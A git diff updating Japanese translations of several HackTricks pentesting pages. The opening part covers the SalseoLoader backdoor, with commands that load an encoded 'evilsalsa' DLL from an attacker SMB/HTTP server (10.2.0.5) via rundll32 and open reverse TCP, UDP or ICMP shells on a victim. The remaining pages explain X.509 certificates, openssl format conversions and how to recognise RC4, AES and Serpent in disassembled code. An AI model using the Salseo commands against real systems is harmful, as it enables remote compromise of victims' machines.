リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためのSMBサーバー(impacket-smbserver)を起動することを忘れないでください。 - ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` - ### **ICMPリバースシェルを取得する(エンコードされたdllはすでに被害者の中にある)** -**今回は、リバースシェルを受け取るためにクライアントに特別なツールが必要です。ダウンロード:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +**今回は、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロード:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) #### **ICMP応答を無効にする:** - ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - #### クライアントを実行する: - ``` python icmpsh_m.py "" "" ``` - -#### 被害者の内部で、salseoの操作を実行します: - +#### 被害者の内部で、salseoの実行を許可します: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` - -## DLLエクスポートメイン関数としてSalseoLoaderをコンパイルする +## DLLのエクスポートメイン関数としてSalseoLoaderをコンパイルする Visual Studioを使用してSalseoLoaderプロジェクトを開きます。 ### メイン関数の前に追加: \[DllExport] -![](https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\).png) +![](<../.gitbook/assets/image (409).png>) ### このプロジェクトにDllExportをインストール -#### **ツール** --> **NuGetパッケージマネージャ** --> **ソリューションのNuGetパッケージを管理...** +#### **ツール** --> **NuGet パッケージ マネージャー** --> **ソリューションの NuGet パッケージを管理...** -![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (881).png>) -#### **DllExportパッケージを検索(ブラウズタブを使用)し、インストールを押して(ポップアップを受け入れて)** +#### **DllExport パッケージを検索 (Browse タブを使用) し、インストールを押して (ポップアップを受け入れる)** -![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (100).png>) -プロジェクトフォルダに**DllExport.bat**と**DllExport\_Configure.bat**というファイルが表示されます +プロジェクトフォルダに **DllExport.bat** と **DllExport\_Configure.bat** というファイルが表示されます -### DllExportをアンインストール +### **DllExport をアンインストール** -**アンインストール**を押します(はい、奇妙ですが、信じてください、必要です) +**アンインストール** を押します (はい、奇妙ですが、信じてください、必要です) -![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) +![](<../.gitbook/assets/image (97).png>) -### Visual Studioを終了し、DllExport\_configureを実行 +### **Visual Studio を終了して DllExport\_configure を実行** -Visual Studioを**終了**します +単に Visual Studio を **終了** します -その後、**SalseoLoaderフォルダ**に移動し、**DllExport\_Configure.bat**を実行します +その後、**SalseoLoader フォルダ**に移動して **DllExport\_Configure.bat** を実行します -**x64**を選択します(x64ボックス内で使用する場合、私の場合はそうでした)、**System.Runtime.InteropServices**(**DllExportのNamespace**内)を選択し、**Apply**を押します +**x64** を選択します (x64 ボックス内で使用する場合、私の場合はそうでした)、**System.Runtime.InteropServices** (DllExport の **Namespace** 内) を選択して **Apply** を押します -![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (882).png>) -### プロジェクトを再度Visual Studioで開く +### プロジェクトを再度 Visual Studio で開く -\*\*\[DllExport]\*\*はもはやエラーとしてマークされていません +**\[DllExport]** はもはやエラーとしてマークされていません -![](<../.gitbook/assets/image (8) (1).png>) +![](<../.gitbook/assets/image (670).png>) ### ソリューションをビルド -**Output Type = Class Library**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> Output type = Class Library) +**Output Type = Class Library** を選択します (プロジェクト --> SalseoLoader プロパティ --> アプリケーション --> Output type = Class Library) -![](<../.gitbook/assets/image (10) (1).png>) +![](<../.gitbook/assets/image (847).png>) -**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> Platform target = x64) +**x64 プラットフォーム** を選択します (プロジェクト --> SalseoLoader プロパティ --> ビルド --> Platform target = x64) -![](<../.gitbook/assets/image (9) (1) (1).png>) +![](<../.gitbook/assets/image (285).png>) -ソリューションを**ビルド**するには: Build --> Build Solution(出力コンソール内に新しいDLLのパスが表示されます) +ソリューションを **ビルド** するには: Build --> Build Solution (Output コンソール内に新しい DLL のパスが表示されます) -### 生成されたDllをテスト +### 生成された DLL をテスト -生成されたDllをテストしたい場所にコピーして貼り付けます。 +DLL をテストしたい場所にコピーして貼り付けます。 実行: - ``` rundll32.exe SalseoLoader.dll,main ``` - -もしエラーが表示されない場合、おそらく機能するDLLを持っています!! +エラーが表示されない場合は、おそらく機能するDLLを持っています!! ## DLLを使用してシェルを取得する -**HTTPサーバー**を使用して**ncリスナー**を設定することを忘れないでください +**HTTP** **サーバー**を使用して、**nc** **リスナー**を設定することを忘れないでください ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -173,11 +160,9 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -186,17 +171,16 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - -htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学ぶ! +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見してください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md index ac2edbdc1..ea757520b 100644 --- a/crypto-and-stego/certificates.md +++ b/crypto-and-stego/certificates.md @@ -2,23 +2,23 @@ -htARTE(HackTricks AWS Red Team Expert)を使って、**ゼロからヒーローまでAWSハッキングを学びましょう**! +htARTE(HackTricks AWS Red Team Expert) を使って、ゼロからヒーローまでAWSハッキングを学ぶ! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -- ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@hacktricks\_live**をフォローする +* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -26,33 +26,33 @@ HackTricksをサポートする他の方法: **公開鍵証明書**は、暗号化で使用されるデジタルIDであり、誰かが公開鍵を所有していることを証明するために使用されます。これには、鍵の詳細、所有者の身元(サブジェクト)、および信頼された機関(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。 -証明書は、主に[証明書機関](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)によって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI)のセットアップで発行されます。別の方法は、[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)であり、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で詳細に説明されている特定のニーズに適応できます。 +証明書は、主に[証明機関](https://en.wikipedia.org/wiki/Certificate_authority)(CAs)によって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key_infrastructure)(PKI)のセットアップで発行されます。別の方法は、ユーザーが直接お互いの鍵を検証する[信頼のネットワーク](https://en.wikipedia.org/wiki/Web_of_trust)です。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で概説されている特定のニーズに適応できます。 ## x509共通フィールド ### **x509証明書の共通フィールド** -x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は次のとおりです: +x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は以下の通りです: -- **バージョン番号**はx509形式のバージョンを示します。 -- **シリアル番号**は、主に取り消し追跡のために証明書機関(CA)システム内で証明書を一意に識別します。 -- **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。以下の詳細な識別情報が含まれます: - - **Common Name (CN)**: 証明書でカバーされるドメイン。 - - **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)**は地理的および組織的な詳細を提供します。 - - **Distinguished Name (DN)**は完全なサブジェクト識別をカプセル化します。 -- **発行者**は、CAのためのサブジェクトと同様のサブフィールドを含め、誰が証明書を検証して署名したかを示します。 -- **有効期間**は、**Not Before**および**Not After**のタイムスタンプによってマークされ、証明書が特定の日付前または後に使用されないようにします。 -- 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。 -- **x509v3拡張**は、証明書の機能性を向上させ、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**などのプロパティを指定して証明書のアプリケーションを微調整します。 +* **バージョン番号**はx509形式のバージョンを示します。 +* **シリアル番号**は、証明書を一意に識別し、主に取り消し追跡のために証明機関(CA)のシステム内で使用されます。 +* **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。以下の詳細な識別情報が含まれます: + * **Common Name (CN)**: 証明書でカバーされるドメイン。 + * **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)**は地理的および組織的な詳細を提供します。 + * **Distinguished Name (DN)**は、完全なサブジェクト識別をカプセル化します。 +* **発行者**は、証明書を検証し署名した人物を詳細に示し、CAの場合と同様のサブフィールドが含まれます。 +* **有効期間**は、**Not Before**および**Not After**のタイムスタンプによって示され、証明書が特定の日付前または後に使用されないようにします。 +* 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的な詳細を指定します。 +* **x509v3拡張**は、証明書の機能性を向上させ、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**、および証明書のアプリケーションを微調整するためのその他のプロパティを指定します。 #### **Key Usageと拡張** -- **Key Usage**は、公開鍵の暗号化アプリケーションを識別します(デジタル署名や鍵の暗号化など)。 -- **Extended Key Usage**は、証明書の使用ケースをさらに絞り込みます(例:TLSサーバー認証用)。 -- **Subject Alternative Name**および**Basic Constraint**は、証明書でカバーされる追加のホスト名を定義し、それがCA証明書かエンドエンティティ証明書かを示します。 -- **Subject Key Identifier**および**Authority Key Identifier**などの識別子は、鍵の一意性と追跡可能性を確保します。 -- **Authority Information Access**および**CRL Distribution Points**は、発行CAを検証し、証明書の取り消し状態を確認するためのパスを提供します。 -- **CT Precertificate SCTs**は、証明書への公共の信頼に不可欠な透明性ログを提供します。 +* **Key Usage**は、公開鍵の暗号化アプリケーションを識別します(デジタル署名または鍵の暗号化など)。 +* **Extended Key Usage**は、証明書の使用用途をさらに絞り込みます(例: TLSサーバー認証用)。 +* **Subject Alternative Name**および**Basic Constraint**は、証明書でカバーされる追加のホスト名を定義し、それがCA証明書かエンドエンティティ証明書かを示します。 +* **Subject Key Identifier**および**Authority Key Identifier**などの識別子は、鍵の一意性と追跡可能性を確保します。 +* **Authority Information Access**および**CRL Distribution Points**は、発行CAの検証パスを提供し、証明書の取り消し状態を確認します。 +* **CT Precertificate SCTs**は、証明書への公衆の信頼に不可欠な透明性ログを提供します。 ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -76,7 +76,7 @@ print(f"Public Key: {public_key}") ``` ### **OCSPとCRL配布ポイントの違い** -**OCSP**(**RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかを確認するために、クライアントとレスポンダーが協力して作業する方法であり、完全な**CRL**をダウンロードする必要がない。この方法は、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要がある従来の**CRL**よりも効率的です。CRLには最大512エントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。 +**OCSP**(**RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかをチェックするために、クライアントとレスポンダーが協力して作業することを含みます。これにより、完全な**CRL**をダウンロードする必要がなくなります。この方法は、伝統的な**CRL**よりも効率的であり、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要があります。CRLには最大512エントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。 ### **証明書透明性とは** @@ -88,7 +88,7 @@ print(f"Public Key: {public_key}") #### **証明書ログ** -証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードであり、監査目的のための暗号的証拠を提供します。発行機関と一般の両方がこれらのログに証明書を提出したり、検証のためにクエリを送信したりできます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関心を持つ任意のエンティティによって独立して管理される可能性があります。 +証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードです。これらのログは監査目的のための暗号的証拠を提供します。発行権限と一般の両者は、これらのログに証明書を提出したり、検証のためにクエリを送信したりすることができます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関心を持つ任意のエンティティによって独立して管理される可能性があります。 #### **クエリ** @@ -99,7 +99,7 @@ print(f"Public Key: {public_key}") ### **PEMフォーマット** * 証明書に最も広く使用されているフォーマット。 -* 証明書と秘密鍵用の別々のファイルが必要で、Base64 ASCIIでエンコードされています。 +* 証明書と秘密鍵用に別々のファイルが必要で、Base64 ASCIIでエンコードされています。 * 一般的な拡張子:.cer、.crt、.pem、.key。 * 主にApacheおよび類似のサーバーで使用されます。 @@ -118,7 +118,7 @@ print(f"Public Key: {public_key}") ### **PFX/P12/PKCS#12フォーマット** -* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマット。 +* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマットです。 * 拡張子:.pfx、.p12。 * 証明書のインポートおよびエクスポートにWindowsで主に使用されます。 @@ -138,7 +138,7 @@ openssl x509 -outform der -in certificatename.pem -out certificatename.der ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` -* **PEMからP7Bへ** +* **PEMをP7Bに変換する** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` @@ -152,8 +152,8 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` -* **PFXをPKCS#8に変換する**には、2つのステップが必要です: -1. PFXをPEMに変換します +* **PFX to PKCS#8** には2つのステップが必要です: +1. PFX を PEM に変換します。 ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` @@ -161,8 +161,8 @@ openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` -* **P7BをPFXに** 変換するには、2つのコマンドが必要です: -1. P7BをCERに変換します。 +* **P7BをPFXに** 変換するには、2つのコマンドが必要です: +1. P7BをCERに変換します ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` @@ -172,7 +172,7 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif ``` *** - + \ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -182,7 +182,7 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif -htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** +**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: @@ -190,6 +190,6 @@ HackTricksをサポートする他の方法: * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/crypto-and-stego/cryptographic-algorithms/README.md b/crypto-and-stego/cryptographic-algorithms/README.md index 032376779..f631223fa 100644 --- a/crypto-and-stego/cryptographic-algorithms/README.md +++ b/crypto-and-stego/cryptographic-algorithms/README.md @@ -8,25 +8,25 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 -* **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォロー**する +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください ## アルゴリズムの特定 -コードが**シフト右と左、XOR、およびいくつかの算術演算**を使用している場合、それが**暗号化アルゴリズム**の実装である可能性が非常に高いです。ここでは、**各ステップを逆にする必要なしに使用されているアルゴリズムを特定する方法**をいくつか紹介します。 +コードで **シフト右シフト、左シフト、XOR、およびいくつかの算術演算** を使用している場合、それが **暗号化アルゴリズム** の実装である可能性が非常に高いです。ここでは、**各ステップを逆にする必要なしに使用されているアルゴリズムを特定する方法** をいくつか紹介します。 ### API 関数 **CryptDeriveKey** -この関数が使用されている場合、第2パラメータの値をチェックして、使用されている**アルゴリズムを特定**できます: +この関数が使用されている場合、第2パラメータの値をチェックすることで、使用されている **アルゴリズムを特定** できます: -![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (156).png>) 可能なアルゴリズムとそれに割り当てられた値の表はこちらを参照: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) @@ -36,13 +36,13 @@ HackTricks をサポートする他の方法: **CryptAcquireContext** -[ドキュメント](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta)によると、**CryptAcquireContext** 関数は、特定の暗号化サービスプロバイダ(CSP)内の特定のキーコンテナへのハンドルを取得するために使用されます。**この返されたハンドルは、選択したCSPを使用する CryptoAPI 関数の呼び出しで使用されます**。 +[ドキュメント](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta) によると、**CryptAcquireContext** 関数は、特定の暗号サービスプロバイダ(CSP)内の特定のキーコンテナへのハンドルを取得するために使用されます。**この返されたハンドルは、選択したCSPを使用する CryptoAPI 関数の呼び出しで使用されます**。 **CryptCreateHash** -データストリームのハッシングを開始します。この関数が使用されている場合、第2パラメータの値をチェックして、使用されている**アルゴリズムを特定**できます: +データストリームのハッシュ化を開始します。この関数が使用されている場合、第2パラメータの値をチェックすることで、使用されている **アルゴリズムを特定** できます: -![](<../../.gitbook/assets/image (376).png>) +![](<../../.gitbook/assets/image (549).png>) \ 可能なアルゴリズムとそれに割り当てられた値の表はこちらを参照: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) @@ -51,158 +51,145 @@ HackTricks をサポートする他の方法: アルゴリズムを特定するのが非常に簡単な場合があります。それは特別でユニークな値を使用する必要があるためです。 -![](<../../.gitbook/assets/image (370).png>) +![](<../../.gitbook/assets/image (833).png>) -最初の定数をGoogleで検索すると、次のようになります: +最初の定数を Google で検索すると、次のようになります: -![](<../../.gitbook/assets/image (371).png>) +![](<../../.gitbook/assets/image (529).png>) -したがって、逆コンパイルされた関数が**sha256 計算機**であると仮定できます。\ +したがって、逆コンパイルされた関数が **sha256 計算機** であると仮定できます。\ 他の定数のいずれかを検索すると(おそらく)同じ結果が得られます。 ### データ情報 -コードに有意義な定数がない場合、**.data セクションから情報を読み込んでいる**可能性があります。\ +コードに有意義な定数がない場合、**.data セクションから情報を読み込んでいる** 可能性があります。\ そのデータにアクセスし、最初の dword をグループ化して、前述のセクションで行ったように Google で検索できます: -![](<../../.gitbook/assets/image (372).png>) +![](<../../.gitbook/assets/image (531).png>) -この場合、**0xA56363C6** を検索すると、**AES アルゴリズムのテーブル**に関連していることがわかります。 +この場合、**0xA56363C6** を検索すると、**AES アルゴリズムのテーブル** に関連していることがわかります。 ## RC4 **(対称暗号)** ### 特徴 -* **初期化ステージ/**: 0x00 から 0xFF(合計 256 バイト、0x100)までの値の**テーブルを作成**します。このテーブルは一般的に**置換ボックス**(または SBox と呼ばれる)と呼ばれます。 -* **スクランブルステージ**: 以前に作成されたテーブルを**ループ**して(再び 0x100 回のループ)、各値を**半ランダム**バイトで変更します。この半ランダムバイトを作成するために、RC4 **キーが使用**されます。RC4 **キー**は**1〜256 バイトの長さ**にすることができますが、通常は 5 バイト以上であることが推奨されています。一般的に、RC4 キーは 16 バイトの長さです。 -* **XOR ステージ**: 最後に、平文または暗号文が以前に作成された値と**XOR**されます。暗号化および復号化のための関数は同じです。これにより、作成された 256 バイトを**必要な回数だけループ**します。これは通常、逆コンパイルされたコードで**%256(mod 256)**と認識されます。 +3つの主要な部分で構成されています: + +* **初期化ステージ/**: 0x00 から 0xFF(合計256バイト、0x100)までの値の **テーブルを作成** します。このテーブルは一般的に **置換ボックス**(または SBox と呼ばれる)と呼ばれます。 +* **スクランブルステージ**: 以前に作成されたテーブルをループします(0x100 回のループ、再び)し、各値を **半ランダム** バイトで変更します。この半ランダムバイトを作成するために、RC4 **キーが使用** されます。RC4 **キー** は **1 〜 256 バイトの長さ** である可能性がありますが、通常は 5 バイト以上であることが推奨されています。一般的に、RC4 キーは 16 バイトの長さです。 +* **XOR ステージ**: 最後に、平文または暗号文が **以前に作成された値と XOR** されます。暗号化および復号化の関数は同じです。これにより、作成された 256 バイトを **必要な回数だけループ** します。これは通常、逆コンパイルされたコードで **%256(mod 256)** として認識されます。 {% hint style="info" %} -**逆アセンブリ/逆コンパイルされたコードで RC4 を特定するには、2 つのサイズ 0x100 のループ(キーを使用)をチェックし、おそらく %256(mod 256)を使用して 2 つのループで作成された 256 値との入力データの XOR を行うことを確認します。** +**逆アセンブリ/逆コンパイルされたコードで RC4 を特定するには、サイズが 0x100 の 2 つのループ(キーを使用)をチェックし、次に 256 値と XOR された入力データを確認します。これらの 2 つのループで作成された値を、おそらく %256(mod 256)を使用して、入力データと XOR します。** {% endhint %} ### **初期化ステージ/置換ボックス:**(256 というカウンターの使用と、256 文字の各場所に 0 が書かれていることに注目) -![](<../../.gitbook/assets/image (377).png>) +![](<../../.gitbook/assets/image (584).png>) ### **スクランブルステージ:** -![](<../../.gitbook/assets/image (378).png>) +![](<../../.gitbook/assets/image (835).png>) ### **XOR ステージ:** -![](<../../.gitbook/assets/image (379).png>) +![](<../../.gitbook/assets/image (904).png>) ## **AES(対称暗号)** ### **特徴** * **置換ボックスとルックアップテーブルの使用** -* 特定のルックアップテーブル値(定数)の使用により、AES を**識別**することが可能です。_**定数**は**バイナリに格納**されるか、_**動的に作成**されることがあります。_ -* **暗号化キー**は**16 で割り切れる**必要があります(通常 32B)、通常 16B の IV が使用されます。 +* 特定のルックアップテーブル値(定数)の使用により、**AES を区別** することが可能です。_**定数** はバイナリに **保存** されるか、_**動的に作成**_ される可能性があります。 +* **暗号化キー** は **16 で割り切れる** 必要があります(通常は 32B)、通常は 16B の IV が使用されます。 ### SBox 定数 -![](<../../.gitbook/assets/image (380).png>) +![](<../../.gitbook/assets/image (208).png>) ## Serpent **(対称暗号)** ### 特徴 -* それを使用するマルウェアを見つけるのは珍しいですが、例があります(Ursnif) -* 非常に長い関数に基づいてアルゴリズムが Serpent かどうかを簡単に判断できます。 +* 使用例は少ないですが、マルウェアが使用している例もあります(Ursnif) +* 非常に長い関数に基づいて、アルゴリズムが Serpent であるかどうかを簡単に判断できます。 -### 特定 +### 特定方法 -次の画像で、定数 **0x9E3779B9** が使用されていることに注意してください(この定数は **TEA** -Tiny Encryption Algorithm 